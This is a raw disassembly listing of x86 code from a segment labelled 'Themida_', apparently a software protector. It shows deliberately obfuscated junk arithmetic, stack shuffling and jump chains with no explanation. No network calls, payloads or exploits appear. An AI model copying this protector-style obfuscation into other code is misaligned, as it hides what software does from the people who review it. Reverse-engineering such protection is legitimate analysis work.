; ---------------------------------------------------------------------------


loc_55EBE0:				; CODE XREF: sub_562ABA+8BF2j
		add	esp, 4
		mov	ebx, [esp+0]
		add	esp, 4
		xor	al, dl
		pop	edx
		jmp	sub_55F510
; ---------------------------------------------------------------------------


loc_55EBF4:				; CODE XREF: sub_562ABA+B4F4j
		add	eax, edx
		jmp	loc_55E5C2
; ---------------------------------------------------------------------------


loc_55EBFB:				; CODE XREF: sub_562ABA-3D0Aj
		not	edx
		push	1E76h
		mov	[esp+2Ah+var_2C+2], edx
		push	79D2h
		mov	[esp+0], esi
		mov	edx, [esp+0]
		jmp	loc_56DAB6
; ---------------------------------------------------------------------------


loc_55EC15:				; CODE XREF: sub_562ABA+6397j
		inc	eax
		jmp	loc_563235
; ---------------------------------------------------------------------------


loc_55EC1B:				; CODE XREF: sub_562ABA+9DABj
		dec	eax
		jmp	loc_56BBDD
; ---------------------------------------------------------------------------


loc_55EC21:				; CODE XREF: sub_562ABA+113Cj
		mov	esp, [esp+0]
		mov	[esp+0], eax
		push	edx
		mov	dh, 72h
		mov	al, 41h
		xor	al, dh
		pop	edx
		mov	cl, al
		pop	eax
		mov	bh, cl
		mov	ecx, [esp+2Ah+var_2C+2]
		add	esp, 4
		jmp	loc_56BBD1
; ---------------------------------------------------------------------------


loc_55EC3F:				; CODE XREF: sub_562ABA+B30Cj
		mov	ebp, 57DC4532h
		or	esi, ebp
		jmp	loc_566A10
; ---------------------------------------------------------------------------


loc_55EC4B:				; CODE XREF: sub_562ABA+B12Ej
		sub	edi, 281964E7h
		jmp	loc_563DDA
; ---------------------------------------------------------------------------


loc_55EC56:				; CODE XREF: sub_562ABA+49CDj
		mov	ebp, ecx
		pop	ecx
		inc	ebp
		push	edi
		mov	edi, 8D92E622h
		jmp	loc_5637DA
; ---------------------------------------------------------------------------


loc_55EC65:				; CODE XREF: sub_562ABA+9625j
		xor	al, 0F7h
		mov	ch, al
		jmp	loc_570D74
; ---------------------------------------------------------------------------


loc_55EC6E:				; CODE XREF: sub_562ABA+62E5j
		xor	cl, dh
		jmp	loc_568CE8
; ---------------------------------------------------------------------------


loc_55EC75:				; CODE XREF: sub_562ABA+3D6Ej
		push	esi
		mov	esi, 2
		add	edi, 60B04D3Ch
		add	edi, esi
		sub	edi, 60B04D3Ch
		mov	esi, [esp+2Ah+var_2C+2]
		jmp	sub_56217C
; ---------------------------------------------------------------------------


loc_55EC91:				; CODE XREF: sub_562ABA+4947j
		push	ecx
		jmp	loc_563C1A
; ---------------------------------------------------------------------------


loc_55EC97:				; CODE XREF: sub_562ABA-203j
		pop	ebx
		sub	byte ptr [esp+2Ah+var_28+2], ch
		pop	ecx
		pop	edx
		push	ecx
		mov	cl, 29h
		xor	dl, cl
		pop	ecx
		xor	al, dl
		pop	edx
		xor	bl, al
		movzx	eax, al
		jmp	loc_568378
; ---------------------------------------------------------------------------


loc_55ECB1:				; CODE XREF: sub_562ABA-CAEj
		pop	esp
		jmp	loc_563F46
; END OF FUNCTION CHUNK	FOR sub_562ABA
; ---------------------------------------------------------------------------
byte_55ECB7	db 89h			; CODE XREF: sub_562ABA+2ADEj
; ---------------------------------------------------------------------------
		and	al, 24h
		push	esi
		mov	esi, 0F3A58AFh
		sub	esi, 0F3A58ABh
		add	[esp+4], esi
		pop	esi
		pop	ebx
		push	0EF8h
		mov	[esp], ecx
		mov	ecx, 4
		add	ebx, ecx
		jmp	loc_55F312
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_562ABA


loc_55ECE0:				; CODE XREF: sub_562ABA+BFD2j
		mov	edi, [esp+1Ah+var_1A]
		jmp	loc_56B104
; ---------------------------------------------------------------------------


loc_55ECE8:				; CODE XREF: sub_562ABA+F62Dj
		xor	ecx, [esp+1Ah+var_1A]
		xor	[esp+1Ah+var_1A], ecx
		xor	ecx, [esp+1Ah+var_1A]
		mov	esp, [esp+1Ah+var_1A]
		push	dword ptr [edi+eax*4]
		push	[esp+1Eh+var_1E]
		push	[esp+22h+var_22]
		pop	eax
		push	edi
		mov	edi, esp
		add	edi, 4
		jmp	loc_5647F5
; ---------------------------------------------------------------------------


loc_55ED0C:				; CODE XREF: sub_562ABA+C78Fj
		add	edi, 3E425A1Eh
		pop	ecx
		pop	ecx
		push	edi
		push	[esp+22h+var_1E]
		pop	edi
		pop	[esp+22h+var_22]
		jmp	loc_565A3F
; ---------------------------------------------------------------------------


loc_55ED22:				; CODE XREF: sub_562ABA+7477j
		xchg	esi, [esp+1Eh+var_1E]
		pop	esp
		mov	word ptr [esp+1Ah+var_1A], ax
		push	4554h
		mov	[esp+1Eh+var_1E], ecx
		jmp	loc_56F913
; ---------------------------------------------------------------------------


loc_55ED37:				; CODE XREF: sub_562ABA-39C4j
		mov	ah, 0DCh
		xor	ah, 24h
		inc	ah
		and	ah, 0DCh
		shr	ah, 2
		add	ah, 6
		sub	bh, ah
		pop	eax
		not	bh
		neg	bh
		xor	bh, 4Ah
		jmp	loc_55FDD6
; ---------------------------------------------------------------------------


loc_55ED56:				; CODE XREF: sub_562ABA+AA76j
		add	edi, eax
		jmp	loc_56BFD1
; ---------------------------------------------------------------------------


loc_55ED5D:				; CODE XREF: sub_562ABA+DEB6j
		pop	ecx
		push	4E0Bh
		jmp	loc_55F375
; ---------------------------------------------------------------------------


loc_55ED68:				; CODE XREF: sub_562ABA+D3EAj
		pop	ebx
		jmp	loc_562AF8
; ---------------------------------------------------------------------------


loc_55ED6E:				; CODE XREF: sub_562ABA+230Bj
		add	edx, 4
		xchg	edx, [esp+16h+var_16]
		jmp	loc_5704AF
; ---------------------------------------------------------------------------


loc_55ED7C:				; CODE XREF: sub_562ABA+3ACFj
		neg	edi
		add	edi, 5B772004h
		add	edi, 0A422AAE2h
		add	ebp, 46476241h
		add	ebp, edi
		push	eax
		push	edx
		mov	edx, 46476241h
		mov	eax, edx
		pop	edx
		jmp	loc_55F4A9
; ---------------------------------------------------------------------------


loc_55EDA1:				; CODE XREF: sub_562ABA-90Dj
		jmp	loc_55E09F
; ---------------------------------------------------------------------------


loc_55EDA6:				; CODE XREF: sub_562ABA+C57Cj
		neg	ebp
		jmp	loc_56D5A2
; ---------------------------------------------------------------------------


loc_55EDAD:				; CODE XREF: sub_562ABA+29E9j
		shl	edx, 4
		jmp	loc_55EBFB
; ---------------------------------------------------------------------------


loc_55EDB5:				; CODE XREF: sub_562ABA-214Ej
		mov	esi, eax
		pop	eax
		add	eax, esi
		pop	esi
		add	edi, eax
		jmp	loc_55F325
; ---------------------------------------------------------------------------


loc_55EDC2:				; CODE XREF: sub_562ABA+D686j
		sub	esp, 4
		jmp	loc_56D3F4
; ---------------------------------------------------------------------------


loc_55EDCD:				; CODE XREF: sub_562ABA+63E4j
		mov	ebp, [esp+16h+var_16]
		add	esp, 4
		xor	ebp, 0D5B8DF0Fh
		push	edi
		mov	edi, 43986B19h
		sub	eax, edi
		pop	edi
		sub	eax, ebp
		push	edx
		jmp	loc_563FCB
; ---------------------------------------------------------------------------


loc_55EDEA:				; CODE XREF: sub_562ABA+7E80j
		add	edx, 661010F6h
		add	edx, 44FF2C06h
		add	edx, ebp
		sub	edx, 44FF2C06h
		sub	edx, 661010F6h
		pop	ebp
		xor	edx, [esp+12h+var_12]
		xor	[esp+12h+var_12], edx
		xor	edx, [esp+12h+var_12]
		mov	esp, [esp+12h+var_12]
		push	0D74h
		mov	[esp+16h+var_16], edx
		push	5F5Eh
		mov	[esp+1Ah+var_1A], ecx
		push	3D5Fh
		mov	[esp+1Eh+var_1E], edx
		push	664Bh
		jmp	loc_56A684
; ---------------------------------------------------------------------------


loc_55EE33:				; CODE XREF: sub_562ABA-311Aj
		sub	edi, ebp
		jmp	loc_5656D6
; ---------------------------------------------------------------------------


loc_55EE3A:				; CODE XREF: sub_562ABA+5089j
		or	ecx, ebx
		pop	ebx
		add	ecx, 2080200Dh
		sub	edx, ecx
		jmp	loc_570DAF
; ---------------------------------------------------------------------------


loc_55EE4A:				; CODE XREF: sub_562ABA+391Cj
		add	ebx, 4
		xchg	ebx, [esp+1Eh+var_1E]
		mov	esp, [esp+1Eh+var_1E]
		and	eax, esi
		push	[esp+1Eh+var_1E]
		pop	esi
		push	edi
		jmp	loc_561A99
; ---------------------------------------------------------------------------


loc_55EE62:				; CODE XREF: sub_562ABA+A366j
		push	6E48h
		mov	[esp+26h+var_28+2], ebp
		sub	esp, 4
		push	esp
		jmp	loc_55F034
; END OF FUNCTION CHUNK	FOR sub_562ABA
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_55FC41


loc_55EE73:				; CODE XREF: sub_55FC41+2AB6j
		mov	esi, 4
		jmp	loc_56F81C
; END OF FUNCTION CHUNK	FOR sub_55FC41
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_562ABA


loc_55EE7D:				; CODE XREF: sub_562ABA+D748j
		mov	[esp+0], ebx
		mov	ebx, esp
		push	eax
		push	ebp
		jmp	loc_56509F
; ---------------------------------------------------------------------------


loc_55EE89:				; CODE XREF: sub_562ABA-3FEj
		or	edx, ecx
		jmp	loc_56867D
; END OF FUNCTION CHUNK	FOR sub_562ABA

; =============== S U B	R O U T	I N E =======================================



sub_55EE90	proc near		; CODE XREF: sub_562ABA-3F2Fj
		push	ebp
		push	ebx
		pop	ebp
		jmp	loc_56FFDB
sub_55EE90	endp

; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_562ABA


loc_55EE98:				; CODE XREF: sub_562ABA+897Dj
		push	4218h
		jmp	loc_56239C
; ---------------------------------------------------------------------------


loc_55EEA2:				; CODE XREF: sub_562ABA+3A84j
		pop	edi
		sub	eax, esi
		pop	esi
		jmp	loc_5702A4
; ---------------------------------------------------------------------------


loc_55EEAB:				; CODE XREF: sub_562ABA-1150j
		xor	ebp, edx
		pop	edx
		mov	edi, ebp
		pop	ebp
		push	edi
		jmp	loc_561654
; END OF FUNCTION CHUNK	FOR sub_562ABA

; =============== S U B	R O U T	I N E =======================================



sub_55EEB7	proc near		; CODE XREF: sub_562ABA+7238j

var_4		= dword	ptr -4

		push	ebp
		xor	[esp+4+var_4], 63956AE3h
		pop	eax
		jmp	loc_56C7CD
sub_55EEB7	endp

; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_562ABA


loc_55EEC5:				; CODE XREF: sub_562ABA+380Fj
		xchg	ebp, [esp+0]
		jmp	loc_560149
; ---------------------------------------------------------------------------


loc_55EECD:				; CODE XREF: sub_562ABA+9210j
		movzx	eax, ax
		push	ebp
		push	esp
		pop	ebp
		jmp	loc_56F7B4
; ---------------------------------------------------------------------------


loc_55EED8:				; CODE XREF: sub_562ABA+6290j
		add	ebx, edi
		pop	edi
		add	ebx, 326F2D16h
		jmp	loc_571743
; ---------------------------------------------------------------------------


loc_55EEE6:				; CODE XREF: sub_562ABA+D65Aj
		xor	eax, 5E0F6F29h
		sub	edi, eax
		mov	eax, [esp+0]
		add	esp, 4
		push	edx
		push	22AD1031h
		pop	edx
		and	edx, 5A034E7h
		xchg	edi, edx
		not	edi
		jmp	loc_56EB01
; END OF FUNCTION CHUNK	FOR sub_562ABA
; ---------------------------------------------------------------------------
		push	dword ptr [esp]
		mov	ecx, [esp]
		jmp	loc_572055
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_562ABA


loc_55EF14:				; CODE XREF: sub_562ABA+EF8Aj
		mov	ecx, edi
		mov	edi, [esp+0]
		add	esp, 4
		add	edi, ecx
		pop	ecx
		jmp	loc_5719CD
; ---------------------------------------------------------------------------


loc_55EF27:				; CODE XREF: sub_562ABA+3356j
		and	edi, 2A0C5509h
		inc	edi
		add	edi, 1E8F0B84h
		add	edi, 0B764F47Eh
		sub	ebp, 95C4A2Eh
		add	ebp, edi
		push	ecx
		mov	ecx, 1F623197h
		sub	ecx, 0BDE0FEEh
		sub	ecx, 22BB407Bh
		xor	ecx, 0F994AB00h
		jmp	loc_569E70
; ---------------------------------------------------------------------------


loc_55EF5F:				; CODE XREF: sub_562ABA+7D89j
		push	[esp+2Ah+var_2C+2]
		jmp	loc_56ECD6
; ---------------------------------------------------------------------------


loc_55EF67:				; CODE XREF: sub_562ABA-27C5j
		mov	eax, ebp
		pop	ebp
		push	ecx
		mov	ecx, 0E310660h
		shr	ecx, 6
		shr	ecx, 6
		add	ecx, 63E02A74h
		add	edx, ecx
		pop	ecx
		push	8BCh
		mov	[esp+0], eax
		jmp	loc_563BBA
; END OF FUNCTION CHUNK	FOR sub_562ABA
; ---------------------------------------------------------------------------
		dd 81242489h, 42404h, 0E1E90000h
		db 3Dh,	2 dup(0)
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_562ABA


loc_55EF9B:				; CODE XREF: sub_562ABA+7D93j
		add	ecx, edi
		jmp	loc_5639FA
; ---------------------------------------------------------------------------


loc_55EFA2:				; CODE XREF: sub_562ABA+1075j
		add	edx, 0B0B80748h
		xor	edi, edx
		pop	edx
		add	eax, edi
		jmp	loc_571137
; ---------------------------------------------------------------------------


loc_55EFB2:				; CODE XREF: sub_562ABA+82F4j
		mov	[esp+2Ah+var_2C+2], eax
		mov	eax, 6122264h
		sub	[esp+2Ah+var_28+2], 95F0DE2h
		sub	[esp+2Ah+var_28+2], eax
		add	[esp+2Ah+var_28+2], 95F0DE2h
		pop	eax
		push	ebx
		sub	esp, 4
		mov	[esp+0], esi
		mov	esi, 0A4861C8h
		push	edx
		jmp	loc_55FD9A
; ---------------------------------------------------------------------------


loc_55EFE1:				; CODE XREF: sub_562ABA-4906j
		add	edx, 4
		push	ecx
		mov	ecx, 4
		add	edx, ecx
		jmp	loc_56E9B2
; ---------------------------------------------------------------------------


loc_55EFF4:				; CODE XREF: sub_562ABA+8A0Dj
		and	esi, 2A553B8h
		push	0
		sub	dword ptr [esp+0], 33BC4A75h
		sub	[esp+0], esi
		add	dword ptr [esp+0], 33BC4A75h
		pop	esi
		sub	esi, 11696A70h
		mov	eax, esi
		pop	esi
		mov	ebx, eax
		jmp	loc_56604D
; ---------------------------------------------------------------------------


loc_55F021:				; CODE XREF: sub_562ABA+150Cj
		push	416Eh
		jmp	loc_56E7E7
; ---------------------------------------------------------------------------


loc_55F02B:				; CODE XREF: sub_562ABA+B8B9j
		xchg	edi, [esp+0Ah+var_C+2]
		pop	esp
		jmp	loc_57242A
; ---------------------------------------------------------------------------


loc_55F034:				; CODE XREF: sub_562ABA-3C4Cj
		pop	dword ptr [esp+0]
		add	[esp+2Ah+var_2C+2], 4
		pop	ebp
		push	eax
		jmp	sub_5611D3
; ---------------------------------------------------------------------------


loc_55F042:				; CODE XREF: sub_562ABA+A236j
		sub	eax, 31F2543Bh
		add	eax, ecx
		add	eax, 31F2543Bh
		pop	ecx
		push	15FEh
		jmp	loc_5697A1
; ---------------------------------------------------------------------------


loc_55F059:				; CODE XREF: sub_562ABA+D923j
		mov	byte ptr [esp+2Ah+var_28+3], dl
		jmp	loc_56E57C
; ---------------------------------------------------------------------------


loc_55F062:				; CODE XREF: sub_562ABA+7EB6j
		push	ecx
		push	51297055h
		mov	ecx, [esp+32h+var_32]
		add	esp, 4
		push	7C97h
		mov	[esp+32h+var_32], edx
		mov	edx, 59173CA9h
		xor	ecx, edx
		mov	edx, [esp+32h+var_32]
		jmp	loc_5723A9
; END OF FUNCTION CHUNK	FOR sub_562ABA
; ---------------------------------------------------------------------------
		mov	cx, [esp]
		jmp	loc_56A4CE
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_562ABA


loc_55F091:				; CODE XREF: sub_562ABA+3F83j
		sub	edx, edi
		pop	edi
		mov	ecx, [esp+0]
		jmp	loc_56107C
; ---------------------------------------------------------------------------


loc_55F09C:				; CODE XREF: sub_562ABA-2EEAj
		add	edi, 4
		add	edi, 4
		xchg	edi, [esp+0]
		pop	esp
		push	edi
		mov	edi, 23DA7555h
		add	[esp+2Eh+var_2C+2], edi
		mov	edi, [esp+0]
		jmp	loc_5686BC
; END OF FUNCTION CHUNK	FOR sub_562ABA
; ---------------------------------------------------------------------------
		push	dword ptr [esp]
		push	dword ptr [esp]
		jmp	loc_565194
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_562ABA


loc_55F0C9:				; CODE XREF: sub_562ABA+8D5Bj
		pop	esp
		mov	edx, [esp+2Ah+var_2C+2]
		push	edx
		mov	edx, esp
		add	edx, 4
		add	edx, 4
		xchg	edx, [esp+0]
		pop	esp
		sub	ebx, 5F25452Dh
		jmp	loc_55EB90
; ---------------------------------------------------------------------------


loc_55F0EB:				; CODE XREF: sub_562ABA+3869j
		shr	ebx, 4
		jmp	loc_56E121
; ---------------------------------------------------------------------------


loc_55F0F3:				; CODE XREF: sub_562ABA+5128j
		inc	bh
		push	eax
		jmp	loc_55ED37
; ---------------------------------------------------------------------------


loc_55F0FB:				; CODE XREF: sub_562ABA+1909j
		push	esi
		sub	esp, 4
		jmp	loc_56D7FA
; ---------------------------------------------------------------------------


loc_55F107:				; CODE XREF: sub_562ABA+390Cj
		push	edi
		mov	edi, 4
		add	eax, edi
		pop	edi
		jmp	loc_560DA8
; ---------------------------------------------------------------------------


loc_55F115:				; CODE XREF: sub_562ABA+1E12j
		xor	ebp, 13AC2EFAh
		inc	ebp
		sub	ebp, 0B303B8Fh
		sub	esp, 4
		mov	[esp+3Ah+var_3A], ecx
		mov	ecx, 63AD09B7h
		xor	ecx, 30456816h
		jmp	loc_564484
; ---------------------------------------------------------------------------


loc_55F138:				; CODE XREF: sub_562ABA+38CDj
		push	ecx
		mov	ecx, 11DD1618h
		jmp	loc_56D065
; END OF FUNCTION CHUNK	FOR sub_562ABA
; ---------------------------------------------------------------------------
		lodsd
		xor	eax, ebx
		push	47h
		mov	[esp], edi
		sub	esp, 4
		mov	[esp], ecx
		jmp	loc_564CCB
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_562ABA


loc_55F15C:				; CODE XREF: sub_562ABA-24A4j
		not	ecx
		xor	ecx, 85F6D8Fh
		add	ecx, 797E81F6h
		sub	edi, ecx
		jmp	loc_55FE6C
; ---------------------------------------------------------------------------


loc_55F171:				; CODE XREF: sub_562ABA+9EF7j
		or	edx, eax
		shl	edx, 1
		sub	esp, 4
		mov	[esp+42h+var_42], eax
		push	esi
		mov	esi, esp
		add	esi, 4
		sub	esi, 4
		xchg	esi, [esp+46h+var_46]
		mov	esp, [esp+46h+var_46]
		mov	[esp+46h+var_46], edi
		jmp	loc_5724F3
; ---------------------------------------------------------------------------


loc_55F19B:				; CODE XREF: sub_562ABA-3609j
		add	edx, 6B2A4896h
		add	edx, esi
		sub	edx, 6B2A4896h
		pop	esi
		add	eax, edx
		jmp	loc_5622DD
; ---------------------------------------------------------------------------


loc_55F1B1:				; CODE XREF: sub_562ABA+E2D3j
		add	esp, 4
		add	esp, 4
		jmp	loc_55E09F
; ---------------------------------------------------------------------------


loc_55F1BC:				; CODE XREF: sub_562ABA+3C9Aj
		shl	cl, 7
		sub	cl, 7Ch
		not	cl
		sub	cl, 7Ch
		mov	bl, cl
		jmp	loc_561D4C
; ---------------------------------------------------------------------------


loc_55F1CE:				; CODE XREF: sub_562ABA+53DDj
		push	esi
		jmp	loc_570581
; ---------------------------------------------------------------------------


loc_55F1D4:				; CODE XREF: sub_562ABA+D0CCj
		add	bl, 14h
		pop	ax
		sub	esp, 4
		mov	[esp+40h+var_42+2], edx
		push	ebx
		jmp	loc_5638DD
; END OF FUNCTION CHUNK	FOR sub_562ABA
; ---------------------------------------------------------------------------
		sub	esp, 4
		mov	[esp], eax
		push	esp
		pop	eax
		jmp	loc_56BFE1
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_562ABA


loc_55F1F5:				; CODE XREF: sub_562ABA+7C2Ej
		pop	edi
		sub	esi, 62050AD9h
		add	esi, 4DEE51F5h
		add	esi, edi
		sub	esi, 4DEE51F5h
		add	esi, 62050AD9h
		add	esi, 64A77035h
		push	[esp+40h+var_42+2]
		pop	edi
		add	esp, 4
		push	edx
		mov	edx, 4
		sub	esi, edx
		pop	edx
		push	esi
		jmp	loc_55EA5E
; ---------------------------------------------------------------------------


loc_55F22C:				; CODE XREF: sub_562ABA+758Ej
		or	eax, 670E3780h
		push	edx
		mov	edx, 56693356h
		shl	edx, 1
		push	eax
		mov	eax, 642E6470h
		jmp	loc_5697B3
; END OF FUNCTION CHUNK	FOR sub_562ABA
; ---------------------------------------------------------------------------
		lodsw
		xor	ax, bx
		sub	esp, 2
		mov	[esp], si
		push	ecx
		push	small 2459h
		pop	cx
		sub	cx, 1
		push	dx
		mov	dx, 6C6h
		xor	cx, dx
		jmp	loc_561FB9
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_562ABA


loc_55F26D:				; CODE XREF: sub_562ABA+F862j
		sub	ebx, 4EDC7813h
		sub	ebx, edx
		jmp	loc_5720FD
; END OF FUNCTION CHUNK	FOR sub_562ABA

; =============== S U B	R O U T	I N E =======================================



sub_55F27A	proc near		; CODE XREF: sub_562ABA+19F5j

; FUNCTION CHUNK AT 00562327 SIZE 00000014 BYTES

		push	ebx
		push	7D69069Eh
		pop	ebx
		not	ebx
		add	ebx, 82135A0h
		jmp	loc_562327
sub_55F27A	endp

; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_562ABA


loc_55F28E:				; CODE XREF: sub_562ABA+56B8j
		pop	edi
		jmp	loc_56C372
; ---------------------------------------------------------------------------


loc_55F294:				; CODE XREF: sub_562ABA+A478j
		mov	eax, [esp+44h+var_46+2]
		add	esp, 4
		jmp	loc_561A3F
; ---------------------------------------------------------------------------


loc_55F2A2:				; CODE XREF: sub_562ABA+214Dj
		xor	ebx, ecx
		pop	ecx
		jmp	loc_5665C9
; ---------------------------------------------------------------------------


loc_55F2AA:				; CODE XREF: sub_562ABA-3353j
		mov	[esp+3Ch+var_3E+2], ebx
		push	edi
		mov	edi, 11BE3A33h
		jmp	loc_56BD9E
; ---------------------------------------------------------------------------


loc_55F2B8:				; CODE XREF: sub_562ABA-A3Bj
		movzx	cx, ah
		push	2CEh
		mov	[esp+44h+var_46+2], esi
		push	esp
		pop	esi
		push	ebp
		push	ebx
		sub	esp, 4
		mov	[esp+50h+var_52+2], esi
		mov	esi, 18367BA7h
		mov	ebx, esi
		pop	esi
		xor	ebx, 47F20215h
		add	ebx, 0F509C302h
		mov	ebp, ebx
		pop	ebx
		sub	ebp, 6C340D2Dh
		and	ebp, 680A0722h
		push	ecx
		jmp	loc_55E328
; ---------------------------------------------------------------------------


loc_55F2F7:				; CODE XREF: sub_562ABA-17F0j
		xor	ebx, [esp+4Ch+var_4E+2]
		xor	[esp+4Ch+var_4E+2], ebx
		xor	ebx, [esp+4Ch+var_4E+2]
		pop	esp
		sub	[esp+48h+var_4A+2], eax
		pushf
		jmp	loc_56F25E
; ---------------------------------------------------------------------------


loc_55F30A:				; CODE XREF: sub_562ABA+7Dj
		xchg	ebx, [esp+4Ch+var_4E+2]
		jmp	loc_563F8E
; END OF FUNCTION CHUNK	FOR sub_562ABA
; ---------------------------------------------------------------------------


loc_55F312:				; CODE XREF: Themida_:0055ECDBj
		mov	ecx, [esp]
		add	esp, 4
		push	eax
		mov	eax, 2
		add	ebx, eax
		jmp	loc_564A2C
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_562ABA


loc_55F325:				; CODE XREF: sub_562ABA-3CFDj
		pop	eax
		jmp	loc_55FA3A
; ---------------------------------------------------------------------------


loc_55F32B:				; CODE XREF: sub_562ABA-D38j
		add	esi, ebp
		jmp	loc_56AC7B
; END OF FUNCTION CHUNK	FOR sub_562ABA

; =============== S U B	R O U T	I N E =======================================



sub_55F332	proc near		; CODE XREF: sub_562ABA+202Ej

var_4		= dword	ptr -4
arg_4		= dword	ptr  8

		sub	esp, 4
		mov	[esp+4+var_4], esi
		mov	esi, 6D3A4B89h
		add	[esp+4+arg_4], esi
		mov	esi, [esp+4+var_4]
		add	esp, 4
		add	[esp+arg_4], 0C034F2Fh
		add	[esp+arg_4], eax
		sub	[esp+arg_4], 0C034F2Fh
		jmp	loc_5692AD
sub_55F332	endp

; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_562ABA


loc_55F360:				; CODE XREF: sub_562ABA+BD8Fj
		add	ebx, ebp
		pop	ebp
		mov	esi, [esp+0Ah+var_C+2]
		add	esp, 4
		push	ebx
		mov	ecx, [esp+0Ah+var_C+2]
		jmp	loc_5603EB
; ---------------------------------------------------------------------------


loc_55F375:				; CODE XREF: sub_562ABA-3D57j
		mov	[esp+1Ah+var_1A], eax
		push	6BBFh
		mov	[esp+1Eh+var_1E], esp
		jmp	loc_56C7DE
; ---------------------------------------------------------------------------


loc_55F385:				; CODE XREF: sub_562ABA+4EDBj
		neg	ecx
		add	ecx, 352E0A1Ah
		jmp	loc_572BA8
; END OF FUNCTION CHUNK	FOR sub_562ABA

; =============== S U B	R O U T	I N E =======================================



sub_55F392	proc near		; CODE XREF: sub_562ABA-4673j
		push	ebx
		mov	bh, 11h
		mov	ah, 2
		sub	ah, 0C7h
		add	ah, bh
		jmp	loc_56378E
sub_55F392	endp

; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_562ABA


loc_55F3A1:				; CODE XREF: sub_562ABA+A879j
		mov	esp, [esp+1Eh+var_1E]
		jmp	loc_5708F7
; END OF FUNCTION CHUNK	FOR sub_562ABA

; =============== S U B	R O U T	I N E =======================================



sub_55F3A9	proc near		; CODE XREF: sub_562ABA+2959j
		push	ebp
		push	esp
		pop	ebp
		add	ebp, 4
		add	ebp, 4
		jmp	sub_5721EF
sub_55F3A9	endp

; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_55E4D4


loc_55F3BD:				; CODE XREF: sub_55E4D4+3C3Ej
		push	[esp+4+var_4]
		pop	ebp
		push	eax
		mov	eax, esp
		add	eax, 4
		jmp	loc_56A311
; END OF FUNCTION CHUNK	FOR sub_55E4D4
; ---------------------------------------------------------------------------


loc_55F3CE:				; DATA XREF: Themida_:0055DFF4o
		mov	ax, [esp]
		jmp	loc_56BF89
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_562ABA


loc_55F3D7:				; CODE XREF: sub_562ABA+ACA9j
		dec	ah
		not	ah
		or	ah, 0EEh
		neg	ah
		push	bx
		mov	bl, 0D3h
		xor	ah, bl
		pop	bx
		jmp	loc_568B43
; ---------------------------------------------------------------------------


loc_55F3ED:				; CODE XREF: sub_562ABA+3177j
		add	ebp, 4
		push	eax
		mov	eax, 4
		sub	ebp, eax
		mov	eax, [esp+22h+var_22]
		add	esp, 4
		xchg	ebp, [esp+1Eh+var_1E]
		mov	esp, [esp+1Eh+var_1E]
		mov	[esp+1Eh+var_1E], ebx
		push	esp
		pop	ebx
		sub	esp, 4
		mov	[esp+22h+var_22], eax
		push	ebp
		jmp	loc_569F7A
; ---------------------------------------------------------------------------


loc_55F418:				; CODE XREF: sub_562ABA+E19Ej
		and	ecx, eax
		pop	eax
		shr	ecx, 3
		jmp	loc_56E9D1
; ---------------------------------------------------------------------------


loc_55F423:				; CODE XREF: sub_562ABA+6993j
		push	edi
		mov	edi, 561C517Fh
		or	edi, 9EE276Eh
		shl	edi, 5
		add	edi, 311024h
		add	eax, edi
		pop	edi
		jmp	loc_570187
; ---------------------------------------------------------------------------


loc_55F440:				; CODE XREF: sub_562ABA-CB9j
		add	eax, 53AF23C4h
		shl	eax, 4
		jmp	loc_56BDCC
; ---------------------------------------------------------------------------


loc_55F44D:				; CODE XREF: sub_562ABA+A1E7j
		xor	[esp+22h+var_22], 76D264DDh
		jmp	loc_569A73
; ---------------------------------------------------------------------------


loc_55F459:				; CODE XREF: sub_562ABA+FEC3j
		mov	edx, esp
		push	ebp
		mov	ebp, 38F066Eh
		or	ebp, 2CD661F7h
		or	ebp, 690856E6h
		shr	ebp, 2
		and	ebp, 7ADF7DF5h
		push	ebx
		mov	ebx, 6A31189Fh
		sub	ebx, 0EBE7A8BDh
		add	ebp, ebx
		jmp	loc_56799A
; ---------------------------------------------------------------------------


loc_55F489:				; CODE XREF: sub_562ABA+C66Fj
		add	esp, 2
		add	bl, al
		push	eax
		mov	ah, 42h
		push	small 5549h
		mov	word ptr [esp+2Ch+var_2C], ax
		not	byte ptr [esp+2Ch+var_2C+1]
		mov	ax, word ptr [esp+2Ch+var_2C]
		jmp	loc_56F1A9
; ---------------------------------------------------------------------------


loc_55F4A9:				; CODE XREF: sub_562ABA-3D1Ej
		sub	ebp, eax
		jmp	loc_562CC2
; ---------------------------------------------------------------------------


loc_55F4B0:				; CODE XREF: sub_562ABA+351j
		pop	ebx
		jmp	loc_55F19B
; ---------------------------------------------------------------------------


loc_55F4B6:				; CODE XREF: sub_562ABA-754j
		mov	dh, 6Ch
		and	ch, dh
		jmp	loc_571A8B
; ---------------------------------------------------------------------------


loc_55F4BF:				; CODE XREF: sub_562ABA+3055j
		add	[esp+16h+var_12], 5B1D70CBh
		add	[esp+16h+var_12], ebx
		sub	esp, 4
		mov	[esp+1Ah+var_1A], ebp
		jmp	loc_56BF35
; ---------------------------------------------------------------------------


loc_55F4D6:				; CODE XREF: sub_562ABA+2024j
		push	esi
		jmp	loc_56A233
; ---------------------------------------------------------------------------


loc_55F4DC:				; CODE XREF: sub_562ABA+7A4Aj
		shr	edx, 7
		push	eax
		jmp	loc_572BD4
; ---------------------------------------------------------------------------


loc_55F4E5:				; CODE XREF: sub_562ABA+ECCBj
		mov	bl, 4
		sub	esp, 4
		jmp	loc_56FA26
; ---------------------------------------------------------------------------


